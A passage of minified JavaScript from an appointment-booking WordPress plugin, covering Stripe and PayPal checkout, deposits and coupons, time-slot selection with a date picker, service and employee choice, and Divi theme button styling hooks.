t=Stripe(this.settings.public_key,{apiVersion:\"2023-10-16\"}),i=t.elements({mode:\"payment\",locale:this.settings.locale,currency:m().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((s=>{switch(s){case\"payment\":e.payment=new Be(t,i,this.settings),e.payment.provideCart(this.cart);break;case\"card\":e.card=new Le(t,i,this.settings),e.card.getControl().on(\"change\",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on(\"token\",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on(\"cancel\",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on(\"click\",this.onClickPaymentRequestButton.bind(this)))}));break;case\"sepa_debit\":e.sepa_debit=new Oe(t,i,this.settings),e.sepa_debit.getControl().on(\"change\",this.onChange.bind(this));break;case\"bancontact\":e.bancontact=new Re(t,i,this.settings);break;case\"ideal\":e.ideal=new Ne(t,i,this.settings);break;case\"giropay\":e.giropay=new Ve(t,i,this.settings);break;case\"sofort\":e.sofort=new qe(t,i,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class He extends xe{setupProperties(){super.setupProperties(),this.gatewayId=\"paypal\"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").show()}mount(e){let t=this;t.$errorWrapper=e.find(\".mpa-paypal-error\"),t.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),paypal.Buttons({onInit(e,i){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||i.disable(),e.addEventListener(\"change\",(e=>{e.target.checked?i.enable():i.disable()}))}},onClick:function(e,i){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\"))},createOrder:function(e,i){return t.$errorWrapper.addClass(\"mpa-hide\"),t.$gatewayPreloader.removeClass(\"mpa-hide\"),c(\"\u002Fpayments\u002Fprepare\",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass(\"mpa-hide\"),e)))},onApprove:function(e,i){return i.order.capture().then((function(e){t.paypalDetails=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass(\"mpa-hide\")}}).render(e.find(\".mpa-paypal-container\")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class We{static createGateways(e,t){let i={};for(let s of m().settings().getActiveGateways()){let a=e.find(\".mpa-\"+s+\"-payment-gateway .mpa-billing-fields\"),r=0!==a.length?We.createGateway(s,a,t):null;null!==r&&(i[s]=r)}return i.free=new Ae({},t),i}static createGateway(e,t,i){switch(e){case\"manual\":case\"test\":case\"cash\":case\"bank\":return new Ee(t,i);case\"paypal\":return new He(t,i);case\"stripe\":return new Ue(t,i);default:return wp.hooks.applyFilters(\"mpa_create_gateway\",null,e,t,i)}}}class je extends pe{setupProperties(){super.setupProperties(),this.lastCartHash=\"\",this.gatewayId=\"\",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(\".mpa-checkout-form\"),this.$order=this.$element.find(\".mpa-order\"),this.$billingSection=this.$element.find(\".mpa-billing-details\"),this.$paymentGateways=this.$billingSection.find(\".mpa-payment-gateway\"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name=\"payment_gateway_id\"]'),this.$message=this.$element.find(\".mpa-message\").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(\".mpa-deposit-section\"),this.$depositSwitcher=this.$element.find('input[name=\"mpa-deposit-switcher\"]'),this.$depositTable=this.$element.find(\"#mpa-deposit-table\"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.couponSection=null}theId(){return\"payment\"}propertiesSchema(){return{gatewayId:{type:\"string\",default:\"\"},isDepositDisabled:{type:\"bool\",default:!1},acceptTerms:{type:\"bool\",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass(\"mpa-hide\",!e.trim().length)}clearErrorMessage(){this.setErrorMessage(\"\")}hideDeposit(){this.$deposit.addClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!1),this.setProperty(\"isDepositDisabled\",this.$depositSwitcher.prop(\"checked\"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty(\"gatewayId\",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on(\"submit\",(e=>!1)),this.$paymentGatewayButtons.on(\"change\",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on(\"input\",(e=>{this.$depositTable.toggleClass(\"mpa-hide\",e.target.checked),this.setProperty(\"isDepositDisabled\",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():\"\"})}))}loadEntities(){this.isLoaded||this.$element.removeClass(\"mpa-hide\"),this.lastCartHash=this.cart.getHash(\"order\"),m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.updateOrderDetails();let e=[];return\"free\"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,\"order\")?(this.lastCartHash=this.cart.getHash(\"order\"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters(\"mpa_booking_reload_drafts\",!1)?this.loadDrafts():Promise.resolve(this)}reset(){m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),this.lastCartHash=\"\";let e=m().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(\":checked\").prop(\"checked\",!1),e in this.gateways?(this.setProperty(\"gatewayId\",e),this.$paymentGatewayButtons.filter('[value=\"'+e+'\"]').prop(\"checked\",!0)):this.resetProperty(\"gatewayId\");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(be(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let i=\"\";return t>0&&(i+='\u003Ctable class=\"widefat\">',i+=\"\u003Ctbody>\",i+='\u003Ctr class=\"mpa-deposit-title\">',i+='\u003Ctd class=\"column-title\" colspan=\"2\">',i+=u(\"Deposit\",\"motopress-appointment\"),i+=\"\u003C\u002Ftd>\",i+=\"\u003C\u002Ftr>\",i+='\u003Ctr class=\"mpa-deposit-now\">',i+='\u003Cth class=\"column-title\">',i+=u(\"Paying now\",\"motopress-appointment\"),i+=\"\u003C\u002Fth>\",i+='\u003Cth class=\"column-price\">',i+=_e(e.deposit),i+=\"\u003C\u002Fth>\",i+=\"\u003C\u002Ftr>\",i+='\u003Ctr class=\"mpa-deposit-left\">',i+='\u003Cth class=\"column-title\">',i+=u(\"Left to pay\",\"motopress-appointment\"),i+=\"\u003C\u002Fth>\",i+='\u003Cth class=\"column-price\">',i+=_e(t),i+=\"\u003C\u002Fth>\",i+=\"\u003C\u002Ftr>\",i+=\"\u003C\u002Ftbody>\",i+=\"\u003C\u002Ftable>\"),i}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(\":checked\").length>0&&this.toggleDepositSection()}let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:\"\"}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId(\"free\",!1);else{const e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass(\"mpa-hide\",e),this.$paymentGatewayButtons.prop(\"required\",!e)}loadGateways(){let e=this.$billingSection.find(\".mpa-payment-gateways\");this.gateways=We.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return c(\"\u002Fbookings\u002Fdraft\",{...wp.hooks.applyFilters(\"mpa_booking_draft_data\",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop(\"disabled\",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return\"\"!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,i){i in this.gateways&&this.gateways[i].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return\"object\"==typeof e&&\"function\"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class ze extends pe{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash=\"\",this.monthSlots={},this.date=\"\",this.time=\"\",this.datepicker=null,this.$dateWrapper=this.$element.find(\".mpa-date-wrapper\"),this.$dateInput=this.$element.find(\".mpa-date\"),this.$timeWrapper=this.$element.find(\".mpa-time-wrapper\"),this.$times=this.$timeWrapper.find(\".mpa-times\"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return\"period\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{date:{type:\"string\",default:\"\"},time:{type:\"string\",default:\"\"}}}addListeners(){super.addListeners(),this.$dateInput.on(\"change\",(e=>this.setProperty(\"date\",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash(\"availability\"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,\"availability\")?(this.$element.removeClass(\"mpa-loaded\"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash=\"\",this.monthSlots={},this.resetDate()}isValidInput(){return\"\"!=this.date&&\"\"!=this.time}resetDate(){this.resetProperty(\"date\")}resetTime(){this.$times.empty(),this.resetProperty(\"time\")}setEnabledDays(e){F(e,!0)?this.datepicker.set(\"enable\",[\"2000-01-01\"]):this.datepicker.set(\"enable\",e)}afterUpdate(e,t,i){\"date\"==e&&(\"\"==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass(\"mpa-hide\",\"\"==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let i=t.locale||m().settings().getFlatpickrLocale(),s=flatpickr.l10ns[i]||i;\"object\"==typeof s&&(s.firstDayOfWeek=m().settings().getFirstDayOfWeek());let a={formatDate:f,inline:!0,locale:s,monthSelectorType:\"static\",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:m().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=b(this.date),e.time=new Y(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),i=t[0],s=t[1];null===e.employee&&e.setEmployee(i,!1),null===e.location&&e.setLocation(s,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent(\"mpa_add_to_cart\",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent(\"mpa_view_cart\",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t);const s=this.monthSlots[i];if(s&&Object.keys(s).length>0){const e=Object.keys(s)[0],t=Object.keys(s[e])[0];this.datepicker.setDate(e,!0);this.$times.children(\".mpa-time-period\").filter(((e,i)=>i.getAttribute(\"date-time\")===t)).trigger(\"click\"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let i=this.monthSlots[t][this.date];for(let t in i)if(t===this.time){let s=i[t];e[0]=s[0][0],e[1]=s[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass(\"mpa-loaded\");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t),s=null;if(this.monthSlots[i])s=Promise.resolve(this.monthSlots[i]);else{s=function(e,t,i,s){return h(\"\u002Fcalendar\u002Ftime\",{service_id:e,employee_in:s.employee_in?s.employee_in.join(\",\"):\"\",location_in:s.location_in?s.location_in.join(\",\"):\"\",date_from:f(t,\"internal\"),date_to:f(i,\"internal\"),exclude_cart:s.exclude_cart?s.exclude_cart:[]}).catch((e=>console.error(\"Failed to make time slots in mpa_time_slots().\",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([s,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[i]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass(\"mpa-loaded\"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray(\"items\")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let i=0;for(let t in e){let s=new Y(t).toString(\"public\",'\u003Cspan class=\"mpa-period-end-time\"> - ')+\"\u003C\u002Fspan>\",a=this.cartItem.getService();if(a.isGroupService()){let i=a.getMinCapacity();for(let s of e[t])i=Math.max(i,s[3]);s+=\" \",s+='\u003Cspan class=\"mpa-slot-capacity\">',s+='\u003Cspan class=\"mpa-slot-capacity-label\">'+a.getQuantityLabel()+\":\u003C\u002Fspan>\",s+=\"&nbsp;\",s+='\u003Cspan class=\"mpa-slot-capacity-number\">'+i+\"\u003C\u002Fspan>\",s+=\"\u003C\u002Fspan>\"}let r=ye(s,{class:\"button button-secondary mpa-time-period\",\"date-time\":t});this.$times.append(r),i++}i>0?this.$times.children(\".mpa-time-period\").on(\"click\",(e=>this.onTime(e,e.currentTarget))):this.$times.text(u(\"Sorry, but we were unable to allocate time slots for the date you selected.\",\"motopress-appointment\"))}getMonthKey(e,t){return t\u003C=8?e+\"-0\"+(t+1):e+\"-\"+(t+1)}getCurrentMonthKey(){if(\"\"!==this.date){let e=b(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return\"2000-01\"}onTime(e,t){this.$times.children(\".mpa-time-period-selected\").removeClass(\"mpa-time-period-selected\"),t.classList.add(\"mpa-time-period-selected\"),this.setProperty(\"time\",t.getAttribute(\"date-time\"))}}class Ge extends pe{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category=\"\",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(\".mpa-service-form\"),this.$categories=this.$element.find(\".mpa-service-category-wrapper\"),this.$services=this.$element.find(\".mpa-service-wrapper\"),this.$employees=this.$element.find(\".mpa-employee-wrapper\"),this.$locations=this.$element.find(\".mpa-location-wrapper\"),this.$selects=this.$element.find(\".mpa-input-wrapper select\"),this.$categoriesSelect=this.$selects.filter(\".mpa-service-category\"),this.$servicesSelect=this.$selects.filter(\".mpa-service\"),this.$employeesSelect=this.$selects.filter(\".mpa-employee\"),this.$locationsSelect=this.$selects.filter(\".mpa-location\"),this.unselectedServiceText=this.$servicesSelect.children('[value=\"\"]').text(),this.unselectedOptionText=this.$selects.filter(\".mpa-optional-select\").first().find(\"option:first\").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return\"service-form\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{category:{type:\"string\",default:\"\"},serviceId:{type:\"integer\",default:0},employeeId:{type:\"integer\",default:0},locationId:{type:\"integer\",default:0}}}addListeners(){super.addListeners(),this.$form.on(\"submit\",this.submitForm.bind(this)),this.$categoriesSelect.on(\"change\",(e=>this.setProperty(\"category\",e.target.value))),this.$servicesSelect.on(\"change\",(e=>this.setProperty(\"serviceId\",e.target.value))),this.$employeesSelect.on(\"change\",(e=>this.setProperty(\"employeeId\",e.target.value))),this.$locationsSelect.on(\"change\",(e=>this.setProperty(\"locationId\",e.target.value)))}isHiddenElementByProp(e){const t=e.attr(\"data-is-hidden\");return void 0!==t&&\"false\"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr(\"data-default\")){const i=this.$categoriesSelect.attr(\"data-default\");this.isValidCategoryBySchema(i)?e=i:t=!1}this.setProperty(\"category\",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass(\"mpa-hide\",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr(\"data-default\")){const i=W(this.$servicesSelect.attr(\"data-default\"));this.isValidServiceBySchema(i)?e=i:t=!1}this.setProperty(\"serviceId\",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass(\"mpa-hide\",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr(\"data-default\")){const i=W(this.$employeesSelect.attr(\"data-default\"));this.isValidEmployeeBySchema(i)?e=i:t=!1}this.setProperty(\"employeeId\",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass(\"mpa-hide\",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr(\"data-default\")){const i=W(this.$locationsSelect.attr(\"data-default\"));this.isValidLocationBySchema(i)?e=i:t=!1}this.setProperty(\"locationId\",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass(\"mpa-hide\",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let i=e[t].attr(\"data-default\");i?this.setProperty(t,i):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(W)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(W)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(W)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,i){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),\"category\"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty(\"serviceId\"),this.resetProperty(\"employeeId\"),this.resetProperty(\"locationId\"))}}react(){super.react(),this.$categoriesSelect.val(this.category||\"\"),this.$servicesSelect.val(this.serviceId||\"\"),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass(\"mpa-selected\",\"\"!=this.category),this.$servicesSelect.toggleClass(\"mpa-selected\",0!=this.serviceId),this.$employeesSelect.toggleClass(\"mpa-selected\",0!=this.employeeId),this.$locationsSelect.toggleClass(\"mpa-selected\",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop(\"disabled\",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let i;const s=parseInt(this.serviceId,10);if(s>0){const t=this.availabilityService.getServiceCategories(s);i=ne(re(e,Object.keys(t)))}else i=null;const a=oe(e,t,i),r=this.category||\"\";Ce(this.$categoriesSelect,{\"\":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.serviceId?\"\":String(this.serviceId);Ce(this.$servicesSelect,{\"\":this.unselectedServiceText},t,i),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.employeeId?\"0\":String(this.employeeId);Ce(this.$employeesSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.locationId?\"0\":String(this.locationId);Ce(this.$locationsSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}show(){this.$servicesSelect.prop(\"required\",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop(\"required\",!1)}enable(){super.enable(),this.$selects.prop(\"disabled\",!1)}disable(){super.disable(),this.$selects.prop(\"disabled\",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error(\"Unable to get active cart item in StepServiceForm.maybeSubmit().\");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent(\"mpa_view_item\",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,\"entities\")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,\"entities\"))}}}class Qe{constructor(e){this.$element=e,this.$message=this.$element.children(\".mpa-message\"),this.cart=new L,this.steps=new ce(this.cart),this.load()}setupSteps(){this.steps.addStep(new Ge(this.$element.find(\".mpa-booking-step-service-form\"),this.cart)).addStep(new ze(this.$element.find(\".mpa-booking-step-period\"),this.cart)).addStep(new $e(this.$element.find(\".mpa-booking-step-cart\"),this.cart)).addStep(new De(this.$element.find(\".mpa-booking-step-checkout\"),this.cart)),m().settings().isPaymentsEnabled()&&this.steps.addStep(new je(this.$element.find(\".mpa-booking-step-payment\"),this.cart)),this.steps.addStep(new ue(this.$element.find(\".mpa-booking-step-booking\"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new he;Promise.all([e.load(),m().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep(\"service-form\").setAvailabilityService(e),this.steps.getStep(\"period\").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(u(\"Sorry, there are no services, employees or locations to book.\",\"motopress-appointment\")),this.$message.removeClass(\"mpa-hide\")):this.steps.goToNextStep()}))}show(){this.$element.addClass(\"mpa-loaded\")}}!function(e){function t(t,i){var s=e(\"#\"+t);s.length?s.replaceWith(i):e(\"head\").append(i)}wp.customize(\"et_divi[all_buttons_font_size]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-font-size\",'\u003Cstyle id=\"mpa-divi-button-font-size\">.mpa-shortcode .button{font-size:'+e+\"px !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_text_color]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-text-color\",'\u003Cstyle id=\"mpa-divi-button-text-color\">.mpa-shortcode .button{color:'+e+\" !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_bg_color]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-bg-color\",'\u003Cstyle id=\"mpa-divi-button-bg-color\">.mpa-shortcode .button{background:'+e+\" !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_border_width]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-border-width\",'\u003Cstyle id=\"mpa-divi-button-border-width\">.mpa-shortcode .button{border-width:'+e+\"px !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_border_color]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-border-color\",'\u003Cstyle id=\"mpa-divi-button-border-color\">.mpa-shortcode .button{border-color:'+e+\" !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_border_radius]\",(function(e){e.bind((function(e){t(\"mpa-divi-button-border-radius\",'\u003Cstyle id=\"mpa-divi-button-border-radius\">.mpa-shortcode .button{border-radius:'+e+\"px !important;}\u003C\u002Fstyle>\")}))})),wp.customize(\"et_divi[all_buttons_font_style]\",(function(i){i.bind((function(i){var s=function(t,i){var 